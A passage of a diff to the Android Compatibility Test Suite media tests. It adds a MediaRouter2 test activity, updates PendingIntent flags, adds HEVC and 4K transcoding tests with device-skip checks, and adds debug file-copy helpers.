+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import androidx.test.core.app.ActivityScenario;
+
+public class MediaRouter2TestActivity extends Activity {
+
+ private static ActivityScenario<MediaRouter2TestActivity> sActivityScenario;
+
+ public static ActivityScenario<MediaRouter2TestActivity> startActivity(Context context) {
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClass(context, MediaRouter2TestActivity.class);
+ sActivityScenario = ActivityScenario.launch(intent);
+ return sActivityScenario;
+ }
+
+ public static void finishActivity() {
+ if (sActivityScenario != null) {
+ // TODO: Sometimes calling this takes about 5 seconds. Need to figure out why.
+ sActivityScenario.close();
+ sActivityScenario = null;
+ }
+ }
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setTurnScreenOn(true);
+ setShowWhenLocked(true);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index 3d51d57..5d9908f 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -222,7 +222,7 @@
Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
- mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT);
+ mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
userRoute.setRemoteControlClient(rcc);
assertEquals(rcc, userRoute.getRemoteControlClient());
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
index af48114..6ee8bd4 100644
--- a/tests/tests/media/src/android/media/cts/MediaSession2Test.java
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -140,7 +140,7 @@
public void testBuilder_setSessionActivity() {
Intent intent = new Intent(Intent.ACTION_MAIN);
PendingIntent pendingIntent = PendingIntent.getActivity(
- mContext, 0 /* requestCode */, intent, 0 /* flags */);
+ mContext, 0 /* requestCode */, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED /* flags */);
try (MediaSession2 session = new MediaSession2.Builder(mContext)
.setSessionActivity(pendingIntent)
.build()) {
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index 55f0558..a8f8d5e 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -278,7 +278,7 @@
// test setSessionActivity
Intent intent = new Intent("cts.MEDIA_SESSION_ACTION");
- PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, 0);
+ PendingIntent pi = PendingIntent.getActivity(getContext(), 555, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mSession.setSessionActivity(pi);
assertEquals(pi, controller.getSessionActivity());
@@ -313,7 +313,7 @@
public void testSetMediaButtonReceiver_broadcastReceiver() throws Exception {
Intent intent = new Intent(mContext.getApplicationContext(),
MediaButtonBroadcastReceiver.class);
- PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
// Play a sound so this session can get the priority.
Utils.assertMediaPlaybackStarted(getContext());
@@ -357,7 +357,7 @@
public void testSetMediaButtonReceiver_service() throws Exception {
Intent intent = new Intent(mContext.getApplicationContext(),
MediaButtonReceiverService.class);
- PendingIntent pi = PendingIntent.getService(mContext, 0, intent, 0);
+ PendingIntent pi = PendingIntent.getService(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
// Play a sound so this session can get the priority.
Utils.assertMediaPlaybackStarted(getContext());
@@ -402,7 +402,7 @@
public void testSetMediaButtonReceiver_implicitIntent() throws Exception {
// Note: No such broadcast receiver exists.
Intent intent = new Intent("android.media.cts.ACTION_MEDIA_TEST");
- PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, 0);
+ PendingIntent pi = PendingIntent.getBroadcast(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
// Play a sound so this session can get the priority.
Utils.assertMediaPlaybackStarted(getContext());
@@ -506,7 +506,7 @@
Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON).setComponent(
new ComponentName(getContext(), getContext().getClass()));
- PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, 0);
+ PendingIntent pi = PendingIntent.getBroadcast(getContext(), 0, mediaButtonIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
mSession.setMediaButtonReceiver(pi);
// Set state to STATE_PLAYING to get higher priority.
diff --git a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
index 8559570..54ae88b 100644
--- a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
+++ b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
@@ -250,6 +250,39 @@
parcel.recycle();
}
+ /**
+ * Tests that each ACTION_* constant does not overlap.
+ */
+ public void testActionConstantDoesNotOverlap() {
+ long[] actionConstants = new long[] {
+ PlaybackState.ACTION_STOP,
+ PlaybackState.ACTION_PAUSE,
+ PlaybackState.ACTION_PLAY,
+ PlaybackState.ACTION_REWIND,
+ PlaybackState.ACTION_SKIP_TO_PREVIOUS,
+ PlaybackState.ACTION_SKIP_TO_NEXT,
+ PlaybackState.ACTION_FAST_FORWARD,
+ PlaybackState.ACTION_SET_RATING,
+ PlaybackState.ACTION_SEEK_TO,
+ PlaybackState.ACTION_PLAY_PAUSE,
+ PlaybackState.ACTION_PLAY_FROM_MEDIA_ID,
+ PlaybackState.ACTION_PLAY_FROM_SEARCH,
+ PlaybackState.ACTION_SKIP_TO_QUEUE_ITEM,
+ PlaybackState.ACTION_PLAY_FROM_URI,
+ PlaybackState.ACTION_PREPARE,
+ PlaybackState.ACTION_PREPARE_FROM_MEDIA_ID,
+ PlaybackState.ACTION_PREPARE_FROM_SEARCH,
+ PlaybackState.ACTION_PREPARE_FROM_URI,
+ PlaybackState.ACTION_SET_PLAYBACK_SPEED};
+
+ // Check that the values are not overlapped.
+ for (int i = 0; i < actionConstants.length; i++) {
+ for (int j = i + 1; j < actionConstants.length; j++) {
+ assertEquals(0, actionConstants[i] & actionConstants[j]);
+ }
+ }
+ }
+
private void assertCustomActionEquals(PlaybackState.CustomAction action1,
PlaybackState.CustomAction action2) {
assertEquals(action1.getAction(), action2.getAction());
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
index 58b808c..8375581 100644
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
@@ -22,6 +22,7 @@
import android.annotation.ColorInt;
import android.graphics.Bitmap;
import android.graphics.Color;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_HEVC;
import android.media.ThumbnailUtils;
import android.platform.test.annotations.AppModeFull;
import android.util.Size;
@@ -33,6 +34,8 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import com.android.compatibility.common.util.MediaUtils;
+
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
@@ -161,6 +164,11 @@
@Test
@Parameters(method = "getHEICSampleForCreateImageThumbnail")
public void testCreateImageThumbnail_HEICSample(final String res) throws Exception {
+ if (!MediaUtils.hasDecoder(MIMETYPE_VIDEO_HEVC)) {
+ MediaUtils.skipTest("no video decoders for resource");
+ return;
+ }
+
final File file = stageFile(res, new File(mDir, "cts.heic"));
final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
diff --git a/tests/tests/media/src/android/media/cts/WorkDir.java b/tests/tests/media/src/android/media/cts/WorkDir.java
index 1742ec2..e93bd19 100644
--- a/tests/tests/media/src/android/media/cts/WorkDir.java
+++ b/tests/tests/media/src/android/media/cts/WorkDir.java
@@ -38,7 +38,7 @@
android.os.Bundle bundle = InstrumentationRegistry.getArguments();
String mediaDirString = bundle.getString(MEDIA_PATH_INSTR_ARG_KEY);
if (mediaDirString == null) {
- return (getTopDirString() + "test/CtsMediaTestCases-1.3/");
+ return (getTopDirString() + "test/CtsMediaTestCases-1.4/");
} else if (!mediaDirString.endsWith(File.separator)) {
// user has specified the mediaDirString via instrumentation-arg
return mediaDirString + File.separator;
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
index 1b4ed62..b33259f 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
@@ -49,6 +49,7 @@
private static final long PAUSE_WAIT_TIME = 3000;
private static final long WAIT_TIME = 2000;
private static final int SEEK_TIME = 10000;
+ private static final int PLAYBACK_SETTLE_TIME_MS = 5000;
public static boolean mOnCompleteSuccess = false;
public static boolean mPlaybackError = false;
@@ -802,7 +803,7 @@
waittime = duration - mMediaPlayer.getCurrentPosition();
synchronized(mOnCompletion) {
try {
- mOnCompletion.wait(waittime + 2000);
+ mOnCompletion.wait(waittime + PLAYBACK_SETTLE_TIME_MS);
} catch (Exception e) {
Log.v(TAG, "playMediaSamples are interrupted");
return false;
diff --git a/tests/tests/mediatranscoding/Android.bp b/tests/tests/mediatranscoding/Android.bp
index 5bba20f..0759f83 100644
--- a/tests/tests/mediatranscoding/Android.bp
+++ b/tests/tests/mediatranscoding/Android.bp
@@ -21,6 +21,9 @@
"general-tests",
"mts",
],
+ static_libs: [
+ "compatibility-device-util-axt",
+ ],
resource_dirs: ["res"],
}
@@ -38,4 +41,3 @@
],
sdk_version: "test_current",
}
-
diff --git a/tests/tests/mediatranscoding/AndroidManifest.xml b/tests/tests/mediatranscoding/AndroidManifest.xml
index 1d4c60e..1618b00 100644
--- a/tests/tests/mediatranscoding/AndroidManifest.xml
+++ b/tests/tests/mediatranscoding/AndroidManifest.xml
@@ -18,6 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.media.mediatranscoding.cts">
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<application>
<uses-library android:name="android.test.runner" />
diff --git a/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4
new file mode 100644
index 0000000..6105ba9
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_55Frame_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4
new file mode 100644
index 0000000..61656a1
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_4K_HEVC_64Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
index 57ff933..3b797f5 100644
--- a/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_1Frame_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_36Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_36Frames_Audio.mp4
deleted file mode 100644
index 128406f..0000000
--- a/tests/tests/mediatranscoding/res/raw/Video_HEVC_36Frames_Audio.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4
new file mode 100644
index 0000000..067170d
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_37Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_68Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_68Frames_Audio.mp4
deleted file mode 100644
index 6781f7b..0000000
--- a/tests/tests/mediatranscoding/res/raw/Video_HEVC_68Frames_Audio.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4 b/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4
new file mode 100644
index 0000000..a974ef5
--- /dev/null
+++ b/tests/tests/mediatranscoding/res/raw/Video_HEVC_72Frames_Audio.mp4
Binary files differ
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
index dac13f9..3b1d144 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
@@ -39,15 +39,10 @@
private static final String TAG = "ApplicationMediaCapabilitiesTest";
public void testSetSupportHevc() throws Exception {
- // Default HEVC support is false.
ApplicationMediaCapabilities capability =
- new ApplicationMediaCapabilities.Builder().build();
- assertFalse(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
-
- ApplicationMediaCapabilities capability2 =
new ApplicationMediaCapabilities.Builder().addSupportedVideoMimeType(
MediaFormat.MIMETYPE_VIDEO_HEVC).build();
- assertTrue(capability2.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+ assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
}
public void testSetSupportHdr() throws Exception {
@@ -261,4 +256,42 @@
parser);
});
}
+
+ // Test NameNotFoundException with codec type.
+ // VP9 is not declare in the XML which leads to NameNotFoundException exception.
+ // <format android:name="HEVC" supported="true"/>
+ // <format android:name="HDR10" supported="false"/>
+ // <format android:name="SlowMotion" supported="false"/>
+ public void testUnsupportedCodecMimetype() throws Exception {
+ assertThrows(ApplicationMediaCapabilities.FormatNotFoundException.class, () -> {
+ InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+ final XmlPullParser parser = Xml.newPullParser();
+ parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+ ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+ parser);
+
+ boolean supportVP9 = capability.isVideoMimeTypeSupported(
+ MediaFormat.MIMETYPE_VIDEO_VP9);
+ });
+ }
+
+ // Test NameNotFoundException with hdr type.
+ // DOLBY_VISION is not declare in the XML which leads to NameNotFoundException exception.
+ // <format android:name="HEVC" supported="true"/>
+ // <format android:name="HDR10" supported="false"/>
+ // <format android:name="SlowMotion" supported="false"/>
+ public void testUnsupportedHdrtype() throws Exception {
+ assertThrows(ApplicationMediaCapabilities.FormatNotFoundException.class, () -> {
+ InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+ final XmlPullParser parser = Xml.newPullParser();
+ parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+ ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+ parser);
+
+ boolean supportDolbyVision = capability.isHdrTypeSupported(
+ MediaFeature.HdrType.DOLBY_VISION);
+ });
+ }
}
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
index a15cbf2..37eb2e7 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
@@ -21,6 +21,7 @@
import android.content.ContentResolver;
import android.content.Context;
+import android.content.pm.PackageManager;
import android.media.ApplicationMediaCapabilities;
import android.media.MediaFormat;
import android.media.MediaTranscodeManager;
@@ -28,21 +29,26 @@
import android.media.MediaTranscodeManager.TranscodingSession;
import android.net.Uri;
import android.os.Bundle;
+import android.os.Environment;
import android.os.FileUtils;
import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.platform.test.annotations.RequiresDevice;
+import android.provider.MediaStore;
import android.test.AndroidTestCase;
import android.util.Log;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.android.compatibility.common.util.MediaUtils;
+
import org.junit.Test;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
+import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
@@ -61,8 +67,13 @@
private static final String TAG = "MediaTranscodeManagerTest";
/** The time to wait for the transcode operation to complete before failing the test. */
private static final int TRANSCODE_TIMEOUT_SECONDS = 10;
+ /** Copy the transcoded video to /storage/emulated/0/Download/ */
+ private static final boolean DEBUG_TRANSCODED_VIDEO = false;
+ /** Dump both source yuv and transcode YUV to /storage/emulated/0/Download/ */
+ private static final boolean DEBUG_YUV = false;
private Context mContext;
+ private ContentResolver mContentResolver;
private MediaTranscodeManager mMediaTranscodeManager = null;
private Uri mSourceHEVCVideoUri = null;
private Uri mSourceAVCVideoUri = null;
@@ -122,6 +133,7 @@
super.setUp();
mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mContentResolver = mContext.getContentResolver();
mMediaTranscodeManager = mContext.getSystemService(MediaTranscodeManager.class);
assertNotNull(mMediaTranscodeManager);
androidx.test.InstrumentationRegistry.registerInstance(
@@ -144,11 +156,21 @@
super.tearDown();
}
+ // Skip the test for TV, Car and Watch devices.
+ private boolean shouldSkip() {
+ PackageManager pm =
+ InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+ return pm.hasSystemFeature(pm.FEATURE_LEANBACK) || pm.hasSystemFeature(pm.FEATURE_WATCH)
+ || pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+ }
/**
* Verify that setting null destination uri will throw exception.
*/
public void testCreateTranscodingRequestWithNullDestinationUri() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
assertThrows(IllegalArgumentException.class, () -> {
TranscodingRequest request =
new TranscodingRequest.Builder()
@@ -165,6 +187,9 @@
* Verify that setting invalid pid will throw exception.
*/
public void testCreateTranscodingWithInvalidClientPid() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
assertThrows(IllegalArgumentException.class, () -> {
TranscodingRequest request =
new TranscodingRequest.Builder()
@@ -182,6 +207,9 @@
* Verify that setting invalid uid will throw exception.
*/
public void testCreateTranscodingWithInvalidClientUid() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
assertThrows(IllegalArgumentException.class, () -> {
TranscodingRequest request =
new TranscodingRequest.Builder()
@@ -199,6 +227,9 @@
* Verify that setting null source uri will throw exception.
*/
public void testCreateTranscodingRequestWithNullSourceUri() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
assertThrows(IllegalArgumentException.class, () -> {
TranscodingRequest request =
new TranscodingRequest.Builder()
@@ -214,6 +245,9 @@
* Verify that not setting source uri will throw exception.
*/
public void testCreateTranscodingRequestWithoutSourceUri() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
assertThrows(UnsupportedOperationException.class, () -> {
TranscodingRequest request =
new TranscodingRequest.Builder()
@@ -229,6 +263,9 @@
* Verify that not setting destination uri will throw exception.
*/
public void testCreateTranscodingRequestWithoutDestinationUri() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
assertThrows(UnsupportedOperationException.class, () -> {
TranscodingRequest request =
new TranscodingRequest.Builder()
@@ -245,6 +282,9 @@
* Verify that setting video transcoding without setting video format will throw exception.
*/
public void testCreateTranscodingRequestWithoutVideoFormat() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
assertThrows(UnsupportedOperationException.class, () -> {
TranscodingRequest request =
new TranscodingRequest.Builder()
@@ -258,6 +298,9 @@
private void testTranscodingWithExpectResult(Uri srcUri, Uri dstUri, int expectedResult)
throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
Semaphore transcodeCompleteSemaphore = new Semaphore(0);
TranscodingRequest request =
@@ -301,6 +344,9 @@
// Tests transcoding from invalid file uri and expects failure.
public void testTranscodingInvalidSrcUri() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
Uri invalidSrcUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
+ mContext.getPackageName() + "/source.mp4");
// Create a file Uri: android.resource://android.media.cts/temp.mp4
@@ -315,6 +361,9 @@
// Tests transcoding to a uri in res folder and expects failure as test could not write to res
// folder.
public void testTranscodingToResFolder() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
// Create a file Uri: android.resource://android.media.cts/temp.mp4
Uri destinationUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
+ mContext.getPackageName() + "/temp.mp4");
@@ -326,6 +375,9 @@
// Tests transcoding to a uri in internal cache folder and expects success.
public void testTranscodingToCacheDir() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
// Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+ mContext.getCacheDir().getAbsolutePath() + "/temp.mp4");
@@ -337,6 +389,9 @@
// Tests transcoding to a uri in internal files directory and expects success.
public void testTranscodingToInternalFilesDir() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
// Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
Uri destinationUri = Uri.fromFile(new File(mContext.getFilesDir(), "temp.mp4"));
Log.i(TAG, "Transcoding to files dir: " + destinationUri);
@@ -345,28 +400,58 @@
TranscodingSession.RESULT_SUCCESS);
}
- public void testAvcTranscodingVideo30FramesWithoutAudio() throws Exception {
+ public void testAvcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
transcodeFile(resourceToUri(mContext, R.raw.Video_AVC_30Frames, "Video_AVC_30Frames.mp4"));
}
- public void testHevcTranscodingVideo30FramesWithoutAudio() throws Exception {
+ public void testHevcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
transcodeFile(
resourceToUri(mContext, R.raw.Video_HEVC_30Frames, "Video_HEVC_30Frames.mp4"));
}
- public void testHevcTranscodingVideo1FrameWithAudio() throws Exception {
+ // Enable this after fixing b/175641397
+ /* public void testHevcTranscoding1080PVideo1FrameWithAudio() throws Exception {
transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_1Frame_Audio,
"Video_HEVC_1Frame_Audio.mp4"));
+ } */
+
+ public void testHevcTranscoding1080PVideo37FramesWithAudio() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
+ transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_37Frames_Audio,
+ "Video_HEVC_37Frames_Audio.mp4"));
}
- public void testHevcTranscodingVideo36FramesWithAudio() throws Exception {
- transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_36Frames_Audio,
- "Video_HEVC_36Frames_Audio.mp4"));
+ public void testHevcTranscoding1080PVideo72FramesWithAudio() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
+ transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_72Frames_Audio,
+ "Video_HEVC_72Frames_Audio.mp4"));
}
- public void testHevcTranscodingVideo68FramesWithAudio() throws Exception {
- transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_68Frames_Audio,
- "Video_HEVC_68Frames_Audio.mp4"));
+ // This test will only run when the device support decoding and encoding 4K video.
+ public void testHevcTranscoding4KVideo64FramesWithAudio() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
+ MediaFormat format = new MediaFormat();
+ format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_VIDEO_HEVC);
+ format.setInteger(MediaFormat.KEY_WIDTH, 3840);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 2160);
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+ if (!MediaUtils.canDecode(format) || !MediaUtils.canEncode(format) ) {
+ return;
+ }
+ transcodeFile(resourceToUri(mContext, R.raw.Video_4K_HEVC_64Frames_Audio,
+ "Video_4K_HEVC_64Frames_Audio.mp4"));
}
private void transcodeFile(Uri fileUri) throws Exception {
@@ -393,7 +478,7 @@
TranscodingRequest request =
new TranscodingRequest.Builder()
- .setSourceUri(mSourceHEVCVideoUri)
+ .setSourceUri(fileUri)
.setDestinationUri(destinationUri)
.setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
.setClientPid(pid)
@@ -425,16 +510,37 @@
assertTrue("Transcode failed to complete in time.", finishedOnTime);
}
+ if (DEBUG_TRANSCODED_VIDEO) {
+ try {
+ // Add the system time to avoid duplicate that leads to write failure.
+ String filename =
+ "transcoded_" + System.nanoTime() + "_" + fileUri.getLastPathSegment();
+ String path = "/storage/emulated/0/Download/" + filename;
+ final File file = new File(path);
+ ParcelFileDescriptor pfd = mContext.getContentResolver().openFileDescriptor(
+ destinationUri, "r");
+ FileInputStream fis = new FileInputStream(pfd.getFileDescriptor());
+ FileOutputStream fos = new FileOutputStream(file);
+ FileUtils.copy(fis, fos);
+ } catch (IOException e) {
+ Log.e(TAG, "Failed to copy file", e);
+ }
+ }
+
// TODO(hkuang): Validate the transcoded video's width and height, framerate.
// Validates the transcoded video's psnr.
+ // Enable this after fixing b/175644377
MediaTranscodingTestUtil.VideoTranscodingStatistics stats =
- MediaTranscodingTestUtil.computeStats(mContext, mSourceAVCVideoUri, destinationUri);
+ MediaTranscodingTestUtil.computeStats(mContext, fileUri, destinationUri, DEBUG_YUV);
assertTrue("PSNR: " + stats.mAveragePSNR + " is too low",
stats.mAveragePSNR >= PSNR_THRESHOLD);
}
public void testCancelTranscoding() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
Log.d(TAG, "Starting: testCancelTranscoding");
Semaphore transcodeCompleteSemaphore = new Semaphore(0);
final CountDownLatch statusLatch = new CountDownLatch(1);
@@ -487,6 +593,9 @@
// Transcoding video on behalf of init dameon and expect UnsupportedOperationException due to
// CTS test is not a privilege caller.
public void testPidAndUidForwarding() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
assertThrows(UnsupportedOperationException.class, () -> {
Semaphore transcodeCompleteSemaphore = new Semaphore(0);
@@ -516,6 +625,9 @@
}
public void testTranscodingProgressUpdate() throws Exception {
+ if (shouldSkip()) {
+ return;
+ }
Log.d(TAG, "Starting: testTranscodingProgressUpdate");
Semaphore transcodeCompleteSemaphore = new Semaphore(0);
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
index 85e568d..c5500ae 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
@@ -30,9 +30,12 @@
import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
import android.net.Uri;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
import android.util.Log;
import android.util.Size;
+import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
@@ -51,6 +54,7 @@
int mHeight = 0;
float mVideoFrameRate = 0.0f;
boolean mHasAudio = false;
+ int mRotationDegree = 0;
public String toString() {
String str = mUri;
@@ -101,6 +105,13 @@
if (hasAudio != null) {
info.mHasAudio = hasAudio.equals("yes");
}
+
+ retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+ String degree = retriever.extractMetadata(
+ MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+ if (degree != null) {
+ info.mRotationDegree = Integer.parseInt(degree);
+ }
} finally {
if (retriever != null) {
retriever.close();
@@ -112,23 +123,45 @@
return info;
}
+ static void dumpYuvToExternal(final Context ctx, Uri yuvUri) {
+ Log.i(TAG, "dumping file to external");
+ try {
+ String filename = + System.nanoTime() + "_" + yuvUri.getLastPathSegment();
+ String path = "/storage/emulated/0/Download/" + filename;
+ final File file = new File(path);
+ ParcelFileDescriptor pfd = ctx.getContentResolver().openFileDescriptor(yuvUri, "r");
+ FileInputStream fis = new FileInputStream(pfd.getFileDescriptor());
+ FileOutputStream fos = new FileOutputStream(file);
+ FileUtils.copy(fis, fos);
+ } catch (IOException e) {
+ Log.e(TAG, "Failed to copy file", e);
+ }
+ }
+
